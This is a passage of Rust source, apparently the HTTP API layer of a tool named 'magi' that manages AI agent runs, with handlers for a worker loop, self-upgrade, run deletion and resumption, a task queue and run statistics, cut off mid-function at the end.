1811 parking: bool,
1819 owned: bool,
1827 repo: String,
1830 merge: Option<String>,
1833 last_error: Option<String>,
1841 daemon: DaemonView,
1844}
1845
1846#[derive(Debug, Clone, Copy)]
1855struct Foreign {
1856 pid: Option<u32>,
1858}
1859
1860impl Foreign {
1861 fn of(reading: Option<&daemon::Reading>) -> Option<Self> {
1864 let reading = reading?;
1865 if !reading.running(Timestamp::now()) {
1866 return None;
1867 }
1868 match reading.pid {
1869 Some(pid) if pid == std::process::id() => None,
1870 pid => Some(Self { pid }),
1874 }
1875 }
1876
1877 fn who(&self) -> String {
1880 match self.pid {
1881 Some(pid) => format!("another magi process (pid {pid})"),
1882 None => "another magi process".to_owned(),
1883 }
1884 }
1885}
1886
1887type Launch = fn(daemon::Opts, daemon::Stop) -> Pin<Box<dyn Future<Output = Result<()>> + Send>>;
1892
1893fn launch_daemon(
1895 opts: daemon::Opts,
1896 stop: daemon::Stop,
1897) -> Pin<Box<dyn Future<Output = Result<()>> + Send>> {
1898 Box::pin(daemon::serve_until(opts, stop))
1899}
1900
1901#[derive(Debug, Default)]
1903struct LoopState {
1904 live: Option<Live>,
1906 rev: u64,
1914 last_error: Option<String>,
1917}
1918
1919#[derive(Debug)]
1921struct Live {
1922 stop: daemon::Stop,
1924 handle: tokio::task::JoinHandle<()>,
1929 opts: daemon::Opts,
1933}
1934
1935impl Live {
1936 fn alive(&self) -> bool {
1938 !self.handle.is_finished()
1939 }
1940}
1941
1942fn lock_or_recover(state: &Mutex<LoopState>) -> MutexGuard<'_, LoopState> {
1949 state.lock().unwrap_or_else(PoisonError::into_inner)
1950}
1951
1952async fn loop_get(State(ui): State<Arc<Ui>>) -> ApiResult<Json<LoopView>> {
1954 blocking(move || {
1955 let reading = daemon::read_status(&ui.home);
1956 Ok(Json(ui.loop_view(reading)))
1957 })
1958 .await
1959}
1960
1961#[derive(Debug, Deserialize)]
1967#[serde(deny_unknown_fields)]
1968struct LoopCommand {
1969 running: bool,
1970 #[serde(default)]
1980 park: bool,
1981}
1982
1983async fn loop_post(
1991 State(ui): State<Arc<Ui>>,
1992 body: std::result::Result<Json<LoopCommand>, JsonRejection>,
1993) -> ApiResult<Json<LoopView>> {
1994 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
1997 blocking(move || {
1998 let reading = daemon::read_status(&ui.home);
1999 let foreign = Foreign::of(reading.as_ref());
2000 if body.running {
2001 ui.start_loop(foreign)?;
2002 } else {
2003 ui.stop_loop(foreign, body.park)?;
2004 }
2005 Ok(Json(ui.loop_view(reading)))
2006 })
2007 .await
2008}
2009
2010#[derive(Debug, Serialize)]
2012struct UpgradeView {
2013 from: String,
2015 to: Option<String>,
2017 parked: Option<String>,
2019 detail: String,
2021}
2022
2023async fn upgrade_post(State(ui): State<Arc<Ui>>) -> ApiResult<(StatusCode, Json<UpgradeView>)> {
2047 let reading = daemon::read_status(&ui.home);
2048 if let Some(other) = Foreign::of(reading.as_ref()) {
2049 return Err(ApiError::conflict(format!(
2050 "the loop belongs to {}, so replacing this binary would leave \
2051 that process running an old one against the same queue. Upgrade \
2052 where it was started.",
2053 other.who()
2054 )));
2055 }
2056
2057 if crate::updater::disabled_by_env() {
2063 return Ok((
2064 StatusCode::OK,
2065 Json(UpgradeView {
2066 from: env!("CARGO_PKG_VERSION").to_owned(),
2067 to: None,
2068 parked: None,
2069 detail: format!(
2070 "Automatic updates are disabled by {}. Nothing was parked \
2071 and nothing restarted.",
2072 crate::updater::NO_AUTOUPDATE_ENV
2073 ),
2074 }),
2075 ));
2076 }
2077
2078 let (cfg, _) = Config::discover(&ui.repo, None).unwrap_or_default();
2083 let from = env!("CARGO_PKG_VERSION").to_owned();
2084 let latest = match crate::updater::Checker::new(&cfg.update) {
2085 Some(checker) => checker
2086 .newer_release()
2087 .await
2088 .map_err(|e| ApiError::internal(format!("check for a release: {e:#}")))?,
2089 None => None,
2090 };
2091 let Some(latest) = latest else {
2092 return Ok((
2093 StatusCode::OK,
2094 Json(UpgradeView {
2095 from,
2096 to: None,
2097 parked: None,
2098 detail: "Already on the newest release. Nothing was parked \
2099 and nothing restarted."
2100 .to_owned(),
2101 }),
2102 ));
2103 };
2104
2105 let parked = ui.park_for_upgrade()?;
2108 let detail = match &parked {
2109 Some(run) => format!(
2114 "Run {} is parking at its next step, which can take as long as \
2115 the step it is on - up to an hour for an implement wave. The \
2116 deck replaces itself once it parks, comes back, and the loop \
2117 carries that run on from where it stopped. Nothing is lost if \
2118 you close this.",
2119 crate::run::short_of(run)
2120 ),
2121 None => "The deck replaces itself and comes back. Nothing was in \
2122 flight to park."
2123 .to_owned(),
2124 };
2125
2126 let mut progress = updater::Progress::new(from.clone(), latest.tag_name.clone());
2130 progress.parked_run = parked.clone();
2131 let _ = updater::write_progress(&ui.home, &progress);
2132
2133 let home = ui.home.clone();
2134 tokio::spawn(async move {
2135 if let Err(e) = upgrade_and_restart(home.clone()).await {
2136 tracing::error!("the upgrade did not complete: {e:#}");
2137 if let Some(mut progress) = updater::read_progress(&home) {
2138 progress.fail(format!("{e:#}"));
2139 let _ = updater::write_progress(&home, &progress);
2140 }
2141 }
2142 });
2143
2144 Ok((
2145 StatusCode::ACCEPTED,
2146 Json(UpgradeView {
2147 from,
2148 to: Some(latest.tag_name),
2149 parked,
2150 detail,
2151 }),
2152 ))
2153}
2154
2155async fn upgrade_and_restart(home: PathBuf) -> Result<()> {
2160 crate::updater::run_self_update(true, false, true).await?;
2163 tracing::info!("binary replaced - asking the server to hand over");
2164 if let Some(mut progress) = updater::read_progress(&home) {
2165 progress.advance(updater::Stage::Replaced);
2166 let _ = updater::write_progress(&home, &progress);
2167 }
2168 HANDOVER.notify_one();
2169 Ok(())
2170}
2171
2172#[derive(Debug, Serialize)]
2178struct RunSummary {
2179 id: String,
2180 short: String,
2181 status: String,
2182 done: bool,
2183 instruction: String,
2184 title: String,
2185 repo: String,
2186 repo_name: String,
2187 created_at: String,
2188 updated_at: String,
2189 candidates: usize,
2190 viable: usize,
2191 judges: usize,
2192 winner: Option<char>,
2193 reviews: usize,
2194 quota_losses: usize,
2195 event: Option<String>,
2196 superseded_by: Option<String>,
2201 waiting: bool,
2208 live: crate::run::Liveness,
2212 pr: Option<crate::run::PrRecord>,
2214 unmerged_by_design: bool,
2220}
2221
2222impl RunSummary {
2223 fn of(state: &RunState, waiting: bool, live: crate::run::Liveness) -> Self {
2224 Self {
2225 id: state.id.clone(),
2226 short: state.short().to_owned(),
2227 status: status_word(state.status),
2228 done: state.status.done(),
2229 unmerged_by_design: state.unmerged_by_design(),
2230 instruction: state.instruction.clone(),
2231 title: title_from(&state.instruction, TITLE_MAX),
2232 repo: state.repo.display().to_string(),
2233 repo_name: state
2234 .repo
2235 .file_name()
2236 .map(|n| n.to_string_lossy().into_owned())
2237 .unwrap_or_default(),
2238 created_at: state.created_at.to_string(),
2239 updated_at: state.updated_at.to_string(),
2240 candidates: state.candidates.len(),
2241 viable: state.viable().len(),
2242 judges: state.config.graph.judges,
2243 winner: state.winner().map(|c| c.label),
2244 reviews: state.reviews.len(),
2245 quota_losses: state.quota.len(),
2246 event: state.events.last().map(|e| e.message.clone()),
2247 waiting,
2248 live,
2249 superseded_by: None,
2252 pr: state.pr.clone(),
2253 }
2254 }
2255}
2256
2257fn status_word(status: RunStatus) -> String {
2260 status.as_str().to_owned()
2264}
2265
2266#[derive(Debug, Deserialize)]
2268struct ListQuery {
2269 #[serde(default)]
2270 limit: Option<usize>,
2271}
2272
2273async fn runs_list(
2274 State(ui): State<Arc<Ui>>,
2275 Query(q): Query<ListQuery>,
2276) -> ApiResult<Json<Vec<RunSummary>>> {
2277 let limit = q.limit.unwrap_or(LIST_DEFAULT).min(LIST_MAX);
2278 blocking(move || {
2279 let superseded = ui.queue.superseded();
2280 let open_runs: HashSet<String> = ui
2284 .questions
2285 .list()
2286 .into_iter()
2287 .filter(|q| q.status.open())
2288 .map(|q| q.run)
2289 .collect();
2290 let claimed: HashSet<String> =
2291 crate::daemon::current_work(&ui.home, jiff::Timestamp::now())
2292 .into_iter()
2293 .map(|c| c.run)
2294 .collect();
2295 let states = run_ids(&ui.runs)
2296 .into_iter()
2297 .filter_map(|id| read_run(&ui.runs, &id).ok())
2302 .take(limit);
2303 let probe = std::cell::RefCell::new(crate::proc::ProcProbe::real());
2304 let summaries = summarize(
2305 states,
2306 &open_runs,
2307 &claimed,
2308 &superseded,
2309 |p| probe.borrow_mut().status(p),
2310 |p| probe.borrow_mut().started_at(p),
2311 );
2312 Ok(Json(summaries))
2313 })
2314 .await
2315}
2316
2317fn summarize<I, S, D>(
2323 states: I,
2324 open_runs: &HashSet<String>,
2325 claimed: &HashSet<String>,
2326 superseded: &HashMap<String, String>,
2327 mut status_q: S,
2328 mut identity_q: D,
2329) -> Vec<RunSummary>
2330where
2331 I: IntoIterator<Item = RunState>,
2332 S: FnMut(u32) -> Option<bool>,
2333 D: FnMut(u32) -> Option<String>,
2334{
2335 states
2336 .into_iter()
2337 .map(|state| {
2338 let waiting = open_runs.contains(&state.id);
2339 let live =
2340 state.liveness_with(claimed.contains(&state.id), &mut status_q, &mut identity_q);
2341 let mut row = RunSummary::of(&state, waiting, live);
2342 row.superseded_by = superseded
2343 .get(&state.id)
2344 .map(String::as_str)
2345 .map(crate::run::short_of)
2346 .map(str::to_owned);
2347 row
2348 })
2349 .collect()
2350}
2351
2352#[derive(Debug, Serialize)]
2359struct RunDetailView {
2360 #[serde(flatten)]
2361 state: RunState,
2362 instruction_md: Vec<md::Node>,
2363 live: crate::run::Liveness,
2378 unmerged_by_design: bool,
2383 superseded_by: Option<String>,
2391 latest_attempt: Option<LatestAttempt>,
2405}
2406
2407#[derive(Debug, Serialize)]
2409struct LatestAttempt {
2410 id: String,
2411 short: String,
2412 resolved: bool,
2423}
2424
2425impl RunDetailView {
2426 fn of(
2427 state: RunState,
2428 live: crate::run::Liveness,
2429 superseded_by: Option<String>,
2430 latest_attempt: Option<LatestAttempt>,
2431 ) -> Self {
2432 Self {
2433 instruction_md: md::to_nodes(&state.instruction, &md::ImageBase::None),
2434 live,
2435 unmerged_by_design: state.unmerged_by_design(),
2436 superseded_by,
2437 latest_attempt,
2438 state,
2439 }
2440 }
2441}
2442
2443async fn run_detail(
2444 State(ui): State<Arc<Ui>>,
2445 Path(id): Path<String>,
2446) -> ApiResult<Json<RunDetailView>> {
2447 blocking(move || {
2448 let id = resolve_run(&ui.runs, &id)?;
2449 let state = read_run(&ui.runs, &id)?;
2450 let daemon_claims = crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now());
2451 let live = state.liveness(daemon_claims);
2452 let superseded_by = ui
2453 .queue
2454 .superseded_by(&id)
2455 .as_deref()
2456 .map(crate::run::short_of)
2457 .map(str::to_owned);
2458 let latest_attempt = ui.queue.latest_attempt(&id).and_then(|head_id| {
2462 read_run(&ui.runs, &head_id).ok().map(|head| LatestAttempt {
2463 short: head.short().to_owned(),
2464 resolved: matches!(head.status, RunStatus::Merged | RunStatus::Ready),
2465 id: head.id,
2466 })
2467 });
2468 Ok(Json(RunDetailView::of(
2469 state,
2470 live,
2471 superseded_by,
2472 latest_attempt,
2473 )))
2474 })
2475 .await
2476}
2477
2478async fn run_delete(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<StatusCode> {
2487 let (id, unreadable) = {
2488 let ui = Arc::clone(&ui);
2489 blocking(move || {
2490 let id = resolve_run(&ui.runs, &id)?;
2491 match read_run(&ui.runs, &id) {
2492 Ok(state) => {
2493 let in_flight =
2494 crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now());
2495 state
2496 .ensure_can_delete(in_flight)
2497 .map_err(|e| ApiError::conflict(format!("{e:#}")))?;
2498 let dir = ui.runs.join(&id);
2499 std::fs::remove_dir_all(&dir)
2500 .with_context(|| format!("remove run directory {}", dir.display()))?;
2501 Ok((id, false))
2502 }
2503 Err(_) => {
2504 if crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now()) {
2508 return Err(ApiError::conflict(format!(
2509 "run {id} is being worked on by a live daemon right now"
2510 )));
2511 }
2512 Ok((id, true))
2513 }
2514 }
2515 })
2516 .await?
2517 };
2518 if unreadable {
2519 crate::clean::fold_unreadable(&ui.runs, &ui.worktrees_root, &id)
2520 .await
2521 .map_err(|e| ApiError::internal(format!("{e:#}")))?;
2522 }
2523 let ui = Arc::clone(&ui);
2524 let done = id.clone();
2525 blocking(move || {
2526 ui.questions.abandon_for_run(
2529 &done,
2530 &format!("run {done} was deleted, so nothing is waiting for this answer"),
2531 )?;
2532 Ok(())
2533 })
2534 .await?;
2535 Ok(StatusCode::NO_CONTENT)
2536}
2537
2538async fn run_fold(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<Json<FoldView>> {
2562 let (id, state) = {
2563 let ui = Arc::clone(&ui);
2564 blocking(move || {
2565 let id = resolve_run(&ui.runs, &id)?;
2566 if crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now()) {
2567 return Err(ApiError::conflict(format!(
2568 "run {id} is being worked on by a live daemon right now"
2569 )));
2570 }
2571 let state = read_run(&ui.runs, &id).ok();
2572 Ok((id, state))
2573 })
2574 .await?
2575 };
2576 let removed = match state {
2577 Some(mut state) => {
2578 let removed = crate::graph::fold_run(&mut state, true, &ui.home)
2579 .await
2580 .map_err(|e| ApiError::internal(format!("{e:#}")))?;
2581 if removed.is_empty() {
2586 crate::clean::clear_abandoned_active(&mut state, &ui.home, jiff::Timestamp::now())
2587 .map_err(|e| ApiError::internal(format!("{e:#}")))?;
2588 }
2589 removed
2590 }
2591 None => crate::clean::fold_unreadable(&ui.runs, &ui.worktrees_root, &id)
2592 .await
2593 .map_err(|e| ApiError::internal(format!("{e:#}")))?,
2594 };
2595 Ok(Json(FoldView {
2596 run: id,
2597 removed_count: removed.len(),
2598 removed,
2599 }))
2600}
2601
2602#[derive(Debug, Serialize)]
2604struct FoldView {
2605 run: String,
2606 removed: Vec<String>,
2608 removed_count: usize,
2609}
2610
2611#[derive(Debug, Deserialize)]
2614struct FoldMergedBody {
2615 #[serde(default)]
2616 pr_url: String,
2617}
2618
2619async fn run_fold_merged(
2639 State(ui): State<Arc<Ui>>,
2640 Path(id): Path<String>,
2641 Json(body): Json<FoldMergedBody>,
2642) -> ApiResult<Json<FoldMergedView>> {
2643 let pr_url = body.pr_url.trim().to_owned();
2644 if pr_url.is_empty() {
2645 return Err(ApiError::bad_request("pr_url is required"));
2646 }
2647 let (id, mut state) = {
2648 let ui = Arc::clone(&ui);
2649 blocking(move || {
2650 let id = resolve_run(&ui.runs, &id)?;
2651 if crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now()) {
2652 return Err(ApiError::conflict(format!(
2653 "run {id} is being worked on by a live daemon right now"
2654 )));
2655 }
2656 let state = read_run(&ui.runs, &id)?;
2657 Ok((id, state))
2658 })
2659 .await?
2660 };
2661 let (before, after) = crate::land::correct_manual_merge(&mut state, &pr_url)
2662 .await
2663 .map_err(|e| ApiError::bad_request(format!("{e:#}")))?;
2664 let removed = crate::graph::fold_run(&mut state, true, &ui.home)
2665 .await
2666 .map_err(|e| ApiError::internal(format!("{e:#}")))?;
2667 Ok(Json(FoldMergedView {
2668 run: id,
2669 before: before.as_str().to_owned(),
2670 after: after.as_str().to_owned(),
2671 removed,
2672 }))
2673}
2674
2675#[derive(Debug, Serialize)]
2677struct FoldMergedView {
2678 run: String,
2679 before: String,
2681 after: String,
2683 removed: Vec<String>,
2685}
2686
2687async fn run_resume(
2707 State(ui): State<Arc<Ui>>,
2708 Path(id): Path<String>,
2709) -> ApiResult<(StatusCode, Json<RunSummary>)> {
2710 let (id, state) = {
2711 let ui = Arc::clone(&ui);
2712 blocking(move || {
2713 let id = resolve_run(&ui.runs, &id)?;
2714 let state = read_run(&ui.runs, &id)?;
2715 Ok((id, state))
2716 })
2717 .await?
2718 };
2719 if !state.status.resumable() {
2720 return Err(ApiError::conflict(format!(
2721 "run {} is `{}`, and only a stalled or blocked run can be resumed",
2722 state.short(),
2723 status_word(state.status)
2724 )));
2725 }
2726 if let Some(work) = crate::daemon::current_work(&ui.home, jiff::Timestamp::now())
2731 .into_iter()
2732 .next()
2733 {
2734 return Err(ApiError::conflict(format!(
2735 "the loop is running run {} right now; stop it first, or wait for \
2736 it to finish, before resuming a run by hand.",
2737 crate::run::short_of(&work.run)
2738 )));
2739 }
2740 let _resume = ui.begin_resume(&id)?;
2741
2742 let queued = RunSummary::of(
2745 &state,
2746 !ui.questions.open_for(&id).is_empty(),
2747 state.liveness(false),
2748 );
2749 let run = id.clone();
2750 tokio::spawn(async move {
2751 let _resume = _resume;
2752 match crate::graph::Runner::resume(&run) {
2753 Ok(mut runner) => {
2754 if let Err(e) = runner.execute().await {
2755 tracing::warn!("resume of run {run} stopped: {e:#}");
2756 }
2757 }
2758 Err(e) => tracing::warn!("run {run} could not be resumed: {e:#}"),
2761 }
2762 });
2763 Ok((StatusCode::ACCEPTED, Json(queued)))
2764}
2765
2766async fn run_report(
2767 State(ui): State<Arc<Ui>>,
2768 Path(id): Path<String>,
2769) -> ApiResult<impl IntoResponse> {
2770 let text = blocking(move || {
2771 let id = resolve_run(&ui.runs, &id)?;
2772 let state = read_run(&ui.runs, &id)?;
2776 let daemon_claims = crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now());
2777 let live = state.liveness(daemon_claims);
2778 Ok(format!(
2779 "{}{}",
2780 report::run(&state),
2781 report::active_seats(&state, live)
2782 ))
2783 })
2784 .await?;
2785 Ok(([(header::CONTENT_TYPE, "text/plain; charset=utf-8")], text))
2786}
2787
2788#[derive(Debug, Serialize)]
2794struct TaskView {
2795 #[serde(flatten)]
2796 task: Task,
2797 source_label: String,
2798 status_str: &'static str,
2799 instruction_md: Vec<md::Node>,
2803 waits_on: Vec<String>,
2807 stuck_roots: Vec<String>,
2810}
2811
2812impl From<Task> for TaskView {
2813 fn from(task: Task) -> Self {
2814 Self {
2815 source_label: task.source.label(),
2816 status_str: task.status.as_str(),
2817 instruction_md: md::to_nodes(&task.instruction, &md::ImageBase::None),
2818 waits_on: Vec::new(),
2819 stuck_roots: Vec::new(),
2820 task,
2821 }
2822 }
2823}
2824
2825impl TaskView {
2826 fn with_inventory(task: Task, inv: &crate::blockers::Inventory) -> Self {
2827 let waits_on = inv.waits_on(&task);
2828 let stuck_roots = inv
2829 .stuck_roots(&task)
2830 .iter()
2831 .map(|r| r.rsplit('-').next().unwrap_or(r).to_owned())
2832 .collect();
2833 Self {
2834 waits_on,
2835 stuck_roots,
2836 ..Self::from(task)
2837 }
2838 }
2839}
2840
2841#[derive(Debug, Default, Deserialize)]
2844#[serde(default)]
2845struct ReposQuery {
2846 refresh: u8,
2847}
2848
2849async fn repos_list(
2856 State(ui): State<Arc<Ui>>,
2857 Query(q): Query<ReposQuery>,
2858) -> ApiResult<Json<Vec<repos::Repo>>> {
2859 let refresh = q.refresh != 0;
2860 blocking(move || {
2861 let (cfg, _) = Config::discover(&ui.repo, None)?;
2862 Ok(Json(ui.repos_cache.list(
2863 &cfg.repos.roots,
2864 Duration::from_secs(cfg.repos.scan_ttl),
2865 refresh,
2866 )))
2867 })
2868 .await
2869}
2870
2871async fn queue_list(State(ui): State<Arc<Ui>>) -> ApiResult<Json<Vec<TaskView>>> {
2872 blocking(move || {
2873 let tasks = ui.queue.list();
2874 let inv = crate::blockers::Inventory::new(tasks.clone(), &ui.questions.list());
2875 Ok(Json(
2876 tasks
2877 .into_iter()
2878 .map(|t| TaskView::with_inventory(t, &inv))
2879 .collect(),
2880 ))
2881 })
2882 .await
2883}
2884
2885#[derive(Debug, Serialize)]
2889struct RateView {
2890 pct: f64,
2891 denominator: usize,
2892}
2893
2894impl RateView {
2895 fn of(numerator: usize, denominator: usize) -> Option<Self> {
2896 (denominator > 0).then(|| Self {
2897 pct: 100.0 * numerator as f64 / denominator as f64,
2898 denominator,
2899 })
2900 }
2901}
2902
2903#[derive(Debug, Serialize)]
2908struct StatsTotalsView {
2909 runs: usize,
2910 merged: usize,
2911 ready: usize,
2912 blocked: usize,
2913 failed: usize,
2914 stalled: usize,
2915 verified_noop: usize,
2916 superseded: usize,
2917 in_progress: usize,
2918 completion_rate: Option<RateView>,
2919 tallied: usize,
2920 split: usize,
2921 split_rate: Option<RateView>,
2922 deliberated: usize,
2923 minds_changed: usize,
2924 converged: usize,
2925 review_rounds: usize,
2926}
2927
2928impl From<&stats::Totals> for StatsTotalsView {
2929 fn from(t: &stats::Totals) -> Self {
2930 Self {
2931 runs: t.runs,
2932 merged: t.merged,
2933 ready: t.ready,
2934 blocked: t.blocked,
2935 failed: t.failed,
2936 stalled: t.stalled,
2937 verified_noop: t.verified_noop,
2938 superseded: t.superseded,
2939 in_progress: t.in_progress,
2940 completion_rate: RateView::of(t.merged + t.ready, t.runs),
2941 tallied: t.tallied,
2942 split: t.split,
2943 split_rate: RateView::of(t.split, t.tallied),
2944 deliberated: t.deliberated,
2945 minds_changed: t.minds_changed,
2946 converged: t.converged,
2947 review_rounds: t.review_rounds,
2948 }
2949 }
2950}
2951
2952#[derive(Debug, Serialize)]
2954struct AgentStatsView {
2955 agent: String,
2956 entered: usize,
2957 wins: usize,
2958 empty: usize,
2959 win_rate: Option<RateView>,
2960}
2961
2962impl From<&stats::AgentStats> for AgentStatsView {
2963 fn from(a: &stats::AgentStats) -> Self {
2964 Self {
2965 agent: a.agent.clone(),
2966 entered: a.entered,
2967 wins: a.wins,
2968 empty: a.empty,
2969 win_rate: RateView::of(a.wins, a.entered),
2970 }
2971 }
2972}
2973
2974#[derive(Debug, Serialize)]
2978struct ReviewerStatsView {
2979 agent: String,
2980 rounds: usize,
2981 seated: usize,
2982 submitted: usize,
2983 adopted: usize,
2984 unique: usize,
2985 timeouts: usize,
2986 adopted_per_round: Option<f64>,
2987 precision: Option<RateView>,
2988 unique_rate: Option<RateView>,
2989 timeout_rate: Option<RateView>,
2990}
2991
2992impl From<&stats::ReviewerStats> for ReviewerStatsView {
2993 fn from(r: &stats::ReviewerStats) -> Self {
2994 Self {
2995 agent: r.agent.clone(),
2996 rounds: r.rounds,
2997 seated: r.seated,
2998 submitted: r.submitted,
2999 adopted: r.adopted,
3000 unique: r.unique,
3001 timeouts: r.timeouts,
3002 adopted_per_round: (r.rounds > 0).then(|| r.adopted_per_round()),
3003 precision: RateView::of(r.adopted, r.submitted),
3004 unique_rate: RateView::of(r.unique, r.submitted),
3005 timeout_rate: RateView::of(r.timeouts, r.seated),
3006 }
3007 }
3008}
3009
3010#[derive(Debug, Serialize)]
3016struct AdvisorStatsView {
3017 agent: String,
3018 seated: usize,
3019 proposed: usize,
3020 absent: usize,
3021 faint: usize,
3022 strong: usize,
3023 reflection_rate: Option<RateView>,
3024}
3025
3026impl From<&stats::AdvisorStats> for AdvisorStatsView {
3027 fn from(a: &stats::AdvisorStats) -> Self {
3028 Self {
3029 agent: a.agent.clone(),
3030 seated: a.seated,
3031 proposed: a.proposed,
3032 absent: a.absent,
3033 faint: a.faint,
3034 strong: a.strong,
3035 reflection_rate: RateView::of(a.strong, a.proposed),
3036 }
3037 }
3038}
3039
3040#[derive(Debug, Serialize)]
3042struct E2eStatsView {
3043 rounds: usize,
3044 failures: usize,
3045 sole_detections: usize,
3046 deferred: usize,
3047 sole_rate: Option<RateView>,
3048}
3049
3050impl From<&stats::E2eStats> for E2eStatsView {
3051 fn from(e: &stats::E2eStats) -> Self {
3052 Self {
3053 rounds: e.rounds,
3054 failures: e.failures,
3055 sole_detections: e.sole_detections,
3056 deferred: e.deferred,
3057 sole_rate: RateView::of(e.sole_detections, e.failures),
3058 }
3059 }
3060}
3061
3062#[derive(Debug, Serialize)]
3070struct ReleaseBumpStatsView {
3071 merged: usize,
3072 recorded: usize,
3073 pr_opened: usize,
3074 automerge_enabled: usize,
3075 merged_directly: usize,
3076 needs_attention: usize,
3077 clean: usize,
3078 coverage_rate: Option<RateView>,
3079 automerge_rate: Option<RateView>,
3080 attention_rate: Option<RateView>,
3081}
3082
3083impl From<&stats::ReleaseBumpStats> for ReleaseBumpStatsView {
3084 fn from(b: &stats::ReleaseBumpStats) -> Self {
3085 Self {
3086 merged: b.merged,
3087 recorded: b.recorded,
3088 pr_opened: b.pr_opened,
3089 automerge_enabled: b.automerge_enabled,
3090 merged_directly: b.merged_directly,
3091 needs_attention: b.needs_attention,
3092 clean: b.clean(),
3093 coverage_rate: RateView::of(b.recorded, b.merged),
3094 automerge_rate: RateView::of(b.automerge_enabled, b.pr_opened),
3095 attention_rate: RateView::of(b.needs_attention, b.recorded),
3096 }
3097 }
3098}
3099
3100#[derive(Debug, Serialize)]
3102struct TaskCountsView {
3103 queued: usize,
3104 running: usize,
3105 done: usize,
3106 failed: usize,
3107 held: usize,
3108 blocked: usize,
3109}
3110
3111impl From<crate::queue::TaskCounts> for TaskCountsView {
3112 fn from(c: crate::queue::TaskCounts) -> Self {
3113 Self {
3114 queued: c.queued,
3115 running: c.running,
3116 done: c.done,
3117 failed: c.failed,
3118 held: c.held,
3119 blocked: c.blocked,
3120 }
3121 }
3122}
3123
3124#[derive(Debug, Serialize)]
3130struct RepoSummaryView {
3131 repo: String,
3134 name: String,
3136 runs: usize,
3137 completion_rate: Option<RateView>,
3138}
3139
3140impl From<&stats::RepoStats> for RepoSummaryView {
3141 fn from(r: &stats::RepoStats) -> Self {
3142 let t = &r.stats.totals;
3143 Self {
3144 repo: r.repo.to_string_lossy().into_owned(),
3145 name: r.name.clone(),
3146 runs: t.runs,
3147 completion_rate: RateView::of(t.merged + t.ready, t.runs),
3148 }
3149 }
3150}
3151
3152#[derive(Debug, Serialize)]
3158struct StatsView {
3159 totals: StatsTotalsView,
3160 agents: Vec<AgentStatsView>,
3162 reviewers: Vec<ReviewerStatsView>,
3164 advisors: Vec<AdvisorStatsView>,
3166 e2e: E2eStatsView,
3167 release_bumps: ReleaseBumpStatsView,
3168 queue: TaskCountsView,
3169 runs_unreadable: usize,
3179 repos: Vec<RepoSummaryView>,
3183 repo: Option<String>,
3187}
3188
3189#[derive(Debug, Default, Deserialize)]
3198#[serde(default)]
3199struct StatsQuery {
3200 repo: Option<String>,
3201}
3202
3203async fn stats_get(
3210 State(ui): State<Arc<Ui>>,
3211 Query(q): Query<StatsQuery>,
3212) -> ApiResult<Json<StatsView>> {
3213 blocking(move || {
3214 let states: Vec<RunState> = run_ids(&ui.runs)
3215 .into_iter()
3216 .filter_map(|id| read_run(&ui.runs, &id).ok())
3217 .collect();
3218 let repos: Vec<RepoSummaryView> = stats::by_repo(&states)
3219 .iter()
3220 .map(RepoSummaryView::from)
3221 .collect();
3222 let collected = match &q.repo {
3223 Some(repo) => {
3224 let filtered = stats::filter_repo(&states, std::path::Path::new(repo));
3225 if filtered.is_empty() {
3226 return Err(ApiError::not_found(format!(
3227 "no runs recorded against repo `{repo}`"
3228 )));
3229 }
3230 stats::collect_refs(filtered)
3231 }
3232 None => stats::collect(&states),
3233 };
3234 let queue_counts = crate::queue::TaskCounts::of(&ui.queue.list());
3235 Ok(Json(StatsView {
3236 totals: StatsTotalsView::from(&collected.totals),
3237 agents: collected.agents.iter().map(AgentStatsView::from).collect(),
3238 reviewers: collected
3239 .reviewers
3240 .iter()
3241 .map(ReviewerStatsView::from)
3242 .collect(),
3243 advisors: collected
3244 .advisors
3245 .iter()
3246 .map(AdvisorStatsView::from)
3247 .collect(),
3248 e2e: E2eStatsView::from(&collected.e2e),
3249 release_bumps: ReleaseBumpStatsView::from(&collected.release_bumps),
3250 queue: TaskCountsView::from(queue_counts),
3251 runs_unreadable: runs_unreadable(&ui.runs),
3252 repos,
3253 repo: q.repo.clone(),
3254 }))
3255 })
3256 .await
3257}
3258
3259#[derive(Debug, Default, Deserialize)]
3262#[serde(default, deny_unknown_fields)]
3263struct HoldBody {
3264 reason: Option<String>,
3265}
3266
3267async fn queue_hold(
3268 State(ui): State<Arc<Ui>>,
3269 Path(id): Path<String>,
3270 body: std::result::Result<Json<HoldBody>, JsonRejection>,
3271) -> ApiResult<Json<TaskView>> {
3272 let body = match body {
3276 Ok(Json(body)) => body,
3277 Err(JsonRejection::MissingJsonContentType(_)) => HoldBody::default(),
3278 Err(e) => return Err(ApiError::bad_request(e.body_text())),
3279 };
3280 let reason = body.reason.filter(|r| !r.trim().is_empty());
3281 mutate(ui, id, move |t| {
3282 t.hold_manual(reason.clone());
3283 Ok(())
3284 })
3285 .await
3286}
3287
3288async fn queue_release(
3289 State(ui): State<Arc<Ui>>,
3290 Path(id): Path<String>,
3291) -> ApiResult<Json<TaskView>> {
3292 mutate(ui, id, |t| {
3293 t.release();
3294 Ok(())
3295 })
3296 .await
3297}
3298
3299#[derive(Debug, Deserialize)]
3301#[serde(deny_unknown_fields)]
3302struct PriorityBody {
3303 priority: i32,
3304}
3305
3306async fn queue_priority(
3312 State(ui): State<Arc<Ui>>,
3313 Path(id): Path<String>,
3314 body: std::result::Result<Json<PriorityBody>, JsonRejection>,
3315) -> ApiResult<Json<TaskView>> {
3316 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
3317 mutate(ui, id, move |t| t.set_priority(body.priority)).await
3318}
3319
3320#[derive(Debug, Deserialize)]
3322#[serde(deny_unknown_fields)]
3323struct EditBody {
3324 title: String,
3325 instruction: String,
3326}
3327
3328async fn queue_edit(
3332 State(ui): State<Arc<Ui>>,
3333 Path(id): Path<String>,
3334 body: std::result::Result<Json<EditBody>, JsonRejection>,
3335) -> ApiResult<Json<TaskView>> {
3336 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
3337 mutate(ui, id, move |t| {
